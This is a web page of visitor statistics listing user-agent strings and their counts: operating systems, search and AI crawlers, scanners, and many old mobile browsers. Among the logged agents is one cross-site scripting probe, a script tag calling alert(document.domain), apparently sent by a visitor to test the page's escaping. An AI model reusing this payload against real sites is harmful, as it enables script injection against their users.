User Agents of Visitors

This page demonstrates showing query result from database.

Below list of user agents are collected from the visitor's HTTP header.

stats ready

User AgentCount
Windows510922
MacOS131709
Bots106337
Linux60891
Android49251
Other16412
iPhone12127
curl1523
iPad1454
ChromeOS712
Links40
Wget19
Lynx4
Bot AgentCount
GoBot27585
GoogleBot21185
AhrefsBot11499
BingBot6123
OpenAIBot4657
PetalBot4520
MJ12Bot4344
SemrushBot4016
YandexBot2784
BaiduBot2469
InternetMeasurement1881
PaloBot1854
CensysInspect1838
SeznamBot1714
DotBot1690
PythonBot1401
FacebookBot1378
DuckDuckGoBot1125
JavaBot1053
ImagesiftBot1041
DataForSeoBot942
BLEXBot255
BarkrowlerBot157
MojeekBot126
NetcraftSurveyAgent103
MixrankBot101
DomainStatsBot96
Nmap92
TwitterBot80
NodeBot68
LinkAffinityBot41
NeevaBot29
SlackBot22
SEOlytBot18
QwantBot13
TelegramBot13
YahooBot12
WhatsAppBot8
CiscoAnyConnect4
PythonRequests0
Other AgentCount
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.362227
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)1694
meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)1604
ALittle Client795
Chrome Privacy Preserving Prefetch Proxy787
Mozilla/5.0 (compatible; BLEXBot/1.0; +https://help.seranking.com/en/blex-crawler)582
wp_is_mobile521
CCBot/2.0 (https://commoncrawl.org/faq/)470
Mozilla/5.0 (compatible; SeznamBot/4.0; +https://o-seznam.cz/napoveda/vyhledavani/en/seznambot-crawler/)435
Mozilla/5.0 zgrab/0.x396
Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36319
YisouSpider274
Mozilla/5.0 (compatible; coccocbot-web/1.0; +http://help.coccoc.com/searchengine)264
Mozilla/5.0245
Mozilla/5.0 (compatible; ev-crawler/1.0; +https://headline.com/legal/crawler)234
python-httpx/0.28.1234
Mozilla/5.0 (compatible; SB Intuitions Corp./0.1)201
Mozilla/5.0 (compatible; intelx.io_bot +https://intelx.io)166
'Cloud mapping experiment. Contact research@pdrlabs.net'145
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)142
FriendlyCrawler/Nutch-1.20-SNAPSHOT139
Mozilla/5.0 (compatible; VelenPublicWebCrawler/1.0; +https://velen.io)138
ct‑git‑scanner/0.4124
Mozilla/5.0/Firefox/42.0 - nbertaupete95(at)gmail.com114
Mozilla/5.0 (compatible)110
Mozilla/5.0 (compatible; BitSightBot/1.0)108
'Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/networks/ip-networks/deepfield/genome/)'100
Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.3677
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://docs.perplexity.ai/docs/perplexity-bot)76
2ip bot/1.1 (+http://2ip.io)75
xx032_bo9vs83_2a67
Friendly_Crawler/Nutch-1.20-SNAPSHOT67
webprosbot/2.0 (+mailto:abuse-6337@webpros.com)62
Mozilla/5.0 (GoScanner)55
CheckMarkNetwork/1.0 (+http://www.checkmarknetwork.com/spider.html)49
Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.048
url44
fasthttp43
AliyunSecBot/Aliyun (AliyunSecBot@service.alibaba.com)43
SEMrushBot39
GuzzleHttp/739
Mozilla/5.0 (keys-so-bot)39
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bravebot/1.0; +https://search.brave.com/help/brave-search-crawler) Chrome/W.X.Y.Z Safari/537.3639
test38
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GoogleOther) Chrome/133.0.6943.141 Safari/537.3638
GozleBot; http://gozle.com.tm34
Mozilla/5.0 (X11) AppleWebKit/62.41 (KHTML, like Gecko) Edge/17.10859 Safari/452.634
Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.8 sun4u) Opera 5.0 [en]34
Mozilla/5.0 (compatible; wpbot/1.1; +https://forms.gle/ajBaxygz9jSR8p8G9)34
Google33
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)30
Apache/2.4.34 (Ubuntu) OpenSSL/1.1.1 (internal dummy connection)30
Mozilla/5.0 (compatible; wpbot/1.3; +https://forms.gle/ajBaxygz9jSR8p8G9)30
python-httpx/0.27.228
Mozilla/5.0 (linux; u; android 9; zh-cn; v1816a build/pkq1.180819.001) applewebkit/537.36 (khtml, like gecko) version/4.0 chrome/5726
Mozilla/5.0 (Mobile; ATT_U1030AA; rv:84.0) Gecko/84.0 Firefox/84.0 KAIOS/3.126
SafeDNSBot (https://www.safedns.com/searchbot)25
HawaiiBot25
Screaming Frog SEO Spider/19.323
Mozilla/5.0 (compatible; SurdotlyBot/1.0; +http://sur.ly/bot.html)23
got (https://github.com/sindresorhus/got)21
Mozilla/5.0 (compatible; wpbot/1.0; +https://forms.gle/ajBaxygz9jSR8p8G9)21
Yoohoo21
Mozilla/5.0 (compatible; ips-agent)20
KOCMOHABT (https://kozmonavt.ml/) Mozilla/5.0 (Web Explorer)20
slackbot20
Mozilla/5.0 (l9scan/2.0.934323e2631313e2430313e2237313; +https://leakix.net)19
GoogleOther19
GozleBot18
Safari/18614.3.7.1.5 CFNetwork/1402.0.8 Darwin/22.2.018
Client/34056 CFNetwork/1474 Darwin/23.0.018
NetworkingExtension/8618.3.11.10.5 CFNetwork/1498.700.2 Darwin/23.6.018
OI-Crawler/Nutch (https://openintel.nl/webcrawl/)18
Mozilla/5.0 (compatible; wpbot/1.2; +https://forms.gle/ajBaxygz9jSR8p8G9)16
allie-alligator/1.0.0 (+http://alliecrel5ag3amq4c4ppfhz6aki4ejcee6po3xutobrivr65ws2saad.onion)16
Mozilla/5.0 (compatible; heritrix/3.3.0-SNAPSHOT-20160721-2308 +https://www.domaincodex.com)15
com.apple.WebKit.Networking/8614.2.9.0.10 CFNetwork/1399 Darwin/22.1.015
YouBot (+http://www.you.com)15
Fuzz Faster U Fool v2.1.0-dev15
Mozilla/4.0 (compatible; fluid/0.0; +http://www.leak.info/bot.html)14
Safari/18615.1.26.11.23 CFNetwork/1406.0.4 Darwin/22.4.014
Safari/18615.3.12.11.2 CFNetwork/1410.0.3 Darwin/22.6.014
Mozilla/5.0 (compatible; Adsbot/3.1; +https://seostar.co/robot/)13
firefox13
Safari/18614.4.6.1.5 CFNetwork/1404.0.5 Darwin/22.3.012
Safari/18615.1.26.11.22 CFNetwork/1406.0.4 Darwin/22.4.012
Mozilla/5.0 (X11; OpenBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.012
Scrapy/2.6.3 (+https://scrapy.org)12
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; WRTNBot; +https://wrtn.ai/wrtnbot)12
Mozilla/5.0 (compatible; Website-info.net-Robot; https://website-info.net/robot)12
Mozilla/5.0 (X11; CrOS aarch64 13099.85.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.110 Safari/537.3611
Roku/DVP-4.1 (024.01E01250A)11
CSSCheck/1.2.211
SonyEricssonS500i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.111
W3C_Validator/1.305.2.12 libwww-perl/5.6411
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Nicecrawler/1.1; +http://www.nicecrawler.com/) Chrome/90.0.4430.97 Safari/537.3610
TurnitinBot (https://turnitin.com/robot/crawlerinfo.html)10
MobileSafari/8614.2.9.0.10 CFNetwork/1399 Darwin/22.1.010
Iframely/1.3.1 (+https://iframely.com/docs/about) Atlassian10
Mozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.010
Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.010
Opera/8.01 (J2ME/MIDP; Opera Mini/1.0.1479/HiFi; SonyEricsson P900; no; U; ssr)10
Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.3610
SAMSUNG-S8000/S8000XXIF3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 FirePHP/0.310
Mozilla/5.0 (compatible; Konqueror/3.5; SunOS) KHTML/3.5.1 (like Gecko)10
Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion10
Pandalytics/2.0 (https://domainsbot.com/pandalytics/)10
'Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; https://www.nokia.com/genomecrawler)'10
Scrapy/2.12.0 (+https://scrapy.org)10
Opera/9.30 (Nintendo Wii; U; ; 2047-7; en)9
Opera/9.80 (X11; FreeBSD 8.1-RELEASE i386; Edition Next) Presto/2.12.388 Version/12.109
Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)9
Mozilla/5.0 (PLAYSTATION 3; 1.10)9
Mozilla/5.0 (X11; FreeBSD i386; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.259
Vodafone/1.0/V802SE/SEJ001 Browser/SEMC-Browser/4.19
libwww-perl/5.8209
msray-plus9
Searcherxweb9
Client/43849 CFNetwork/1498.700.2 Darwin/23.6.09
Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.89
MobileSafari/600.1.4 CFNetwork/711.1.12 Darwin/14.0.09
ShellBot 2.09
W3C_Validator/1.6548
Iframely/1.3.1 (+https://iframely.com/docs/about)8
Gulper Web Bot 0.2.4 (www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot)8
cpp-httplib/0.10.98
Safari/18615.2.9.11.4 CFNetwork/1408.0.4 Darwin/22.5.08
P3P Validator8
Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14320/554; U; cs) Presto/2.2.08
BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0)8
RepoLookoutBot/v1.1.0-297-gcf436d3 (abuse reports to abuse@repo-lookout.org)8
Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.368
Safari%E6%B5%8F%E8%A7%88%E5%99%A8/18615.3.12.11.2 CFNetwork/1410.0.3 Darwin/22.6.08
HTMLParser/1.68
Mozilla/4.0 (PSP (PlayStation Portable); 2.00)8
Screaming Frog SEO Spider/22.18
Mozilla/5.0 (PlayBook; U; RIM Tablet OS 2.1.0; en-US) AppleWebKit/536.2+ (KHTML like Gecko) Version/7.2.1.0 Safari/536.2+7
BSbot 1.1 (monthly copyright check - html/js/css)7
Googlebot-Video/1.07
Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.157
SonyEricssonK810i/R1KG Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.17
SEC-SGHE900/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1378; nl; U; ssr)7
Mozilla/2.0 (compatible; Ask Jeeves/Teoma)7
Mozilla/4.0 (compatible; MSIE 6.0; j2me) ReqwirelessWeb/3.57
msnbot/1.1 ( http://search.msn.com/msnbot.htm)7
Opera/10.61 (J2ME/MIDP; Opera Mini/5.1.21219/19.999; en-US; rv:1.9.3a5) WebKit/534.5 Presto/2.6.307
Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 SonyEricssonP100/01; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 Safari/5257
Googlebot-News7
DoCoMo/2.0 SH901iC(c100;TB;W24H12)7
Mozilla/4.0 (compatible; Dillo 3.0)7
Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20060702 SeaMonkey/1.5a7
Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko/20090429 Firefox/3.1b37
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/4137
portalmmm/2.0 N410i(c20;TB)7
Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.79 Safari/537.47
SearchExpress7
SAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.07
BlackBerry9530/4.7.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 UP.Link/6.3.1.20.07
Java/1.6.0_137
udu/1.6.57
Mozilla/5.0 (PlayStation 4 2.57) AppleWebKit/537.73 (KHTML, like Gecko)7
Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.137
SonyEricssonK800i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.07
'Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/genomecrawler)'7
Mozilla/5.0 (compatible; ThinkChaos/0.3.0; +In_the_test_phase,_if_the_ThinkChaos_brings_you_trouble,_please_add_disallow._Thank_you.)6
Screaming Frog SEO Spider/16.76
Safari/18614.3.4.11.2 CFNetwork/1402.0.5 Darwin/22.2.06
Mozilla/5.0 (compatible; t3versionsBot/1.0; +https://www.t3versions.com/bot)6
Safari%20Technology%20Preview/18615.1.18.2 CFNetwork/1404.0.5 Darwin/22.3.06
Safari/18614.4.6.1.6 CFNetwork/1404.0.5 Darwin/22.3.06
Microsoft URL Control - 6.00.88626
MOT-V9mm/00.62 UP.Browser/6.2.3.4.c.1.123 (GUI) MMP/2.06
Mozilla/5.0 (BlackBerry; U; BlackBerry 9930; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.267 Mobile Safari/534.11+6
Screaming Frog SEO Spider/8.16
SonyEricssonZ800/R1Y Browser/SEMC-Browser/4.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.06
Mozilla/5.0 (compatible; NetpeakCheckerBot/3.7; +https://netpeaksoftware.com/checker)6
Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.56
Facebot6
Mozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC)6
Safari/18615.2.9.11.10 CFNetwork/1408.0.4 Darwin/22.5.06
kirkland-signature6
Offline Explorer/2.56
Mozilla/5.0 (X11; FreeBSD amd64; rv:54.0) Gecko/20100101 Firefox/54.06
Download Demon/3.5.0.116
Mozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.0 SeaMonkey/2.42.9esr6
Mozilla/5.0 (BB10; Touch) AppleWebKit/537.10+ (KHTML, like Gecko) Version/10.1.0.2342 Mobile Safari/537.10+6
everyfeed-spider/2.0 (http://www.everyfeed.com)6
python-httpx/0.25.16
Web Downloader/6.96
Mozilla/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.66
BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/1056
Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.36
SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.06
Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)6
Mozilla/4.8 [en] (X11; U; SunOS; 5.7 sun4u)6
Mozilla/5.0 (Unknown; UNIX BSD/SYSV system) AppleWebKit/538.1 (KHTML, like Gecko) QupZilla/1.7.0 Safari/538.16
com.apple.WebKit.Networking/8617.1.17.10.9 CFNetwork/1490.0.4 Darwin/23.2.06
Mozilla/5.0 (X11; NetBSD amd64; rv:16.0) Gecko/20121102 Firefox/16.06
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es706
Mozilla/5.0 (X11; NetBSD x86; en-us) AppleWebKit/666.6+ (KHTML, like Gecko) Chromium/20.0.0000.00 Chrome/20.0.0000.00 Safari/666.6+6
Safari/18615.3.12.11.2 CFNetwork/1410.4 Darwin/22.6.06
Mozilla/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko6
Mozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.06
BlackBerry8320/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/1006
WDG_Validator/1.6.26
ZoomBot (Linkbot 1.0 http://suite.seozoom.it/bot.html)6
SonyEricssonT650i/R7AA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.16
python-httpx/0.27.06
Safari/19618.2.12.11.6 CFNetwork/1496.0.7 Darwin/23.5.06
GlobalWebSearchx6
NetworkingExtension/8618.2.12.10.9 CFNetwork/1496.0.7 Darwin/23.5.06
Mozilla/5.0 (compatible; archive.org_bot; Wayback Machine Live Record; +http://archive.org/details/archive.org_bot)6
Safari/19618.1.15.11.12 CFNetwork/1494.0.7 Darwin/23.4.06
UC%E6%B5%8F%E8%A7%88%E5%99%A8/17.0.2 CFNetwork/1498.700.2 Darwin/23.6.06
Screaming Frog SEO Spider/20.26
SonyEricssonK550i/R1JD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.16
Opera/9.80 (J2ME/MIDP; Opera Mini/8.0.35626/37.8918; U; en) Presto/2.12.423 Version/12.166
%E5%A4%B8%E5%85%8B/7.3.1 CFNetwork/1568.100.1 Darwin/24.0.06
SonyEricssonW950i/R100 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 323) Opera 8.60 [en-US]6
Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.006
Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.156
NetworkingExtension/8619.2.8.10.9 CFNetwork/1568.200.51 Darwin/24.1.06
newsfetcher@xinu.tv6
NetworkingExtension/8619.1.26.30.7 Network/4277.2.6 iOS/18.0.16
Scrapy/2.11.2 (+https://scrapy.org)6
Google-Firebase6
MobileSafari/8614.1.25.0.30 CFNetwork/1390 Darwin/22.0.05
Mozilla/5.0 (PLAYSTATION 3; 2.00)5
MobileSafari/8614.4.6.0.5 CFNetwork/1404.0.5 Darwin/22.3.05
Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/1428; U; en) Presto/2.2.05
Client/30158 CFNetwork/1209 Darwin/20.2.05
Xenu Link Sleuth/1.3.85
FAST-WebCrawler/3.8 (crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler)5
POLARIS/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0 profile/MIDP-201 Configuration /CLDC-1.15
WebZIP/3.5 (http://www.spidersoft.com)5
AdsBot-Google (+http://www.google.com/adsbot.html)5
Screaming Frog SEO Spider/19.25
Mozilla/5.0 (compatible; Konqueror/4.1; OpenBSD) KHTML/4.1.4 (like Gecko)5
Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)5
Quora-Bot/1.0 (http://www.quora.com)5
BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/1235
Opera/9.60 (J2ME/MIDP; Opera Mini/4.1.11320/608; U; en) Presto/2.2.05
SonyEricssonW810i/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.05
LG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.15
KOCMOHABT (https://kozmonavt.su/) Mozilla/5.0 (Web Explorer)5
Screaming Frog SEO Spider/19.85
Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/535.22+ (KHTML, like Gecko) Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.22+ Epiphany/2.30.65
LG-GC900/V10a Obigo/WAP2.0 Profile/MIDP-2.1 Configuration/CLDC-1.15
SonyEricssonK750i/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.15
MobileSafari/8619.1.15.10.1 CFNetwork/1559 Darwin/24.0.05
Client/42781 CFNetwork/1496.0.7 Darwin/23.5.05
Mozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.05
MobileSafari/8617.1.17.10.9 CFNetwork/1490.0.4 Darwin/23.2.05
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible5
Mozilla/5.0 (compatible; Konqueror/4.5; NetBSD 5.0.2; X11; amd64; en_US) KHTML/4.5.4 (like Gecko)5
MobileSafari/8618.3.11.10.5 CFNetwork/1498.700.2 Darwin/23.6.05
Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)5
Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1 (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.15
Mozilla/3.01Gold (Win95; I)5
w3m/0.5.15
Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/536.5 (KHTML like Gecko) Chrome/19.0.1084.56 Safari/536.55
Mozilla/5.0 (compatible; alexa site audit/1.0; +http://www.alexa.com/help/webmasters; )5
Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)5
Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="904
Mozilla/5.0 (compatible; Domains Project/1.3.7; +https://domainsproject.org)4
Mozilla/5.0 (compatible; Yeti/1.1; +https://naver.me/spd)4
Screaming Frog SEO Spider/18.04
Client/29345 CFNetwork/1404.0.5 Darwin/22.3.04
Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.84
SEC-SGHX210/1.0 UP.Link/6.3.1.13.04
Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.04
Mozilla/5.0 (X11; CrOS aarch64 14526.89.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.133 Safari/537.364
Mozilla/5.0 researchscan.comsys.rwth-aachen.de4
Pandalytics/1.0 (https://domainsbot.com/pandalytics/)4
Client/33911 CFNetwork/1474 Darwin/23.0.04
Bloglines/3.1 (http://www.bloglines.com)4
Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.164
SonyEricssonT100/R1014
SonyEricssonW995/R1EA Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.04
Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.04
msnbot/1.0 ( http://search.msn.com/msnbot.htm)4
</span><script>alert(document.domain)</script>4
Googlebot/2.1 ( http://www.googlebot.com/bot.html)4
Mediapartners-Google4
Mozilla/5.0 (X11; CrOS aarch64 14989.107.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.364
Mozilla/5.0 (compatible; Exabot/3.0; http://www.exabot.com/go/robot)4
Mozilla/3.0 (compatible; NetPositive/2.1.1; BeOS)4
FeedFetcher-Google; ( http://www.google.com/feedfetcher.html)4
Mozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.0 SeaMonkey/2.214
Mozilla/5.0 (OS/2; Warp 4.5; rv:10.0.12) Gecko/20100101 Firefox/10.0.124
WebCopier v4.64
msnbot/0.11 ( http://search.msn.com/msnbot.htm)4
Symfony BrowserKit4
SonyEricssonW660i/R6AD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.14
wii libnup/1.04
Client/35843 CFNetwork/1209 Darwin/20.2.04
search-engine-indexer/1.04
Mozilla/5.0 (PlayStation; PlayStation 5/9.40) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.154
EmailWolf 1.004
Gaisbot/3.0 (robot@gais.cs.ccu.edu.tw; http://gais.cs.ccu.edu.tw/robot.php)4
Adobe Application Manager 2.04
Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2.14
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/6d48952 warc/v0.8.534
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es654
python-httpx/0.28.04
Mozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.0 SeaMonkey/2.284
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/a141e2f warc/v0.8.624
Mozilla/5.0 (compatible; ModatScanner/1.0; +https://modat.io/)4
Mozilla/4.0 (compatible; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8)4
Mozilla/5.0 (compatible; Googlebot/2.1 +http://www.googlebot.com/bot.html)4
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/6d7cb95 warc/v0.8.734
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)4
NetAPI v14
Mozilla/5.0 (SymbianOS/9.1; U; de) AppleWebKit/413 (KHTML, like Gecko) Safari/4134
KrebsOnSecurity3
PhantomBot3
MOTORIZR-Z8/46.00.00 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 356) Opera 8.65 [it] UP.Link/6.3.0.0.03
PhantomBot/1.03
PostmanRuntime/7.26.53
com.apple.WebKit.Networking/8614.3.7.0.6 CFNetwork/1402.0.8 Darwin/22.2.03
Client/29672 CFNetwork/1404.0.5 Darwin/22.3.03
com.apple.WebKit.Networking/18615.1.26.11.23 CFNetwork/1406.0.4 Darwin/22.4.03
SEC-SGHX820/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.13
Mozilla/5.0 (darwin) AppleWebKit/537.36 (KHTML, like Gecko) jsdom/15.2.13
Mozilla/5.0 (X11; CrOS aarch64 14388.61.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.107 Safari/537.363
com.apple.WebKit.Networking/18615.1.26.110.1 CFNetwork/1406.0.4 Darwin/22.4.03
com.apple.WebKit.Networking/18615.2.9.11.4 CFNetwork/1408.0.4 Darwin/22.5.03
nook browser/1.03
Mozilla/5.0 (X11; NetBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.03
POLARIS/6.01 (BREW 3.1.5; U; en-us; LG; LX265; POLARIS/6.01/WAP) MMP/2.0 profile/MIDP-2.1 Configuration/CLDC-1.13
Mozilla/5.0 (compatible; Y!J-WSC/1.0; +https://yahoo.jp/3BSZgF)3
Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.0 SeaMonkey/2.353
com.apple.WebKit.Networking/8616.2.9.10.13 CFNetwork/1485 Darwin/23.1.03
Nacos-Server3
SonyEricssonW850i/R1ED Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.13
Mozilla/5.0 (X11; CrOS aarch64 15054.114.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.363
Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20070704 Firefox/2.0.0.63
Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20070704 Firefox/2.0.0.43
BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.03
Client/39233 CFNetwork/1492.0.1 Darwin/23.3.03
com.apple.WebKit.Networking/8617.2.4.10.8 CFNetwork/1492.0.1 Darwin/23.3.03
Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)3
DuckDuckBot-Https/1.1; (+https://duckduckgo.com/duckduckbot)3
SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.13
NetworkingExtension/8619.1.15.10.1 Network/4277.0.51.502.1 iOS/18.03
Client/43182 CFNetwork/1496.0.7 Darwin/23.5.03
Client/43849 CFNetwork/1496.0.7 Darwin/23.5.03
mozilla/5.0 (iphone; cpu iphone os 13_5_1 like mac os x) applewebkit/605.1.15 (khtml, like gecko) mobile/15e148 micromessenger/7.0.15(0x17000f2b) nettype/4g language/zh_cn miniprogram3
%E5%A4%B8%E5%85%8B/7.2.0 CFNetwork/1498.700.2 Darwin/23.6.03
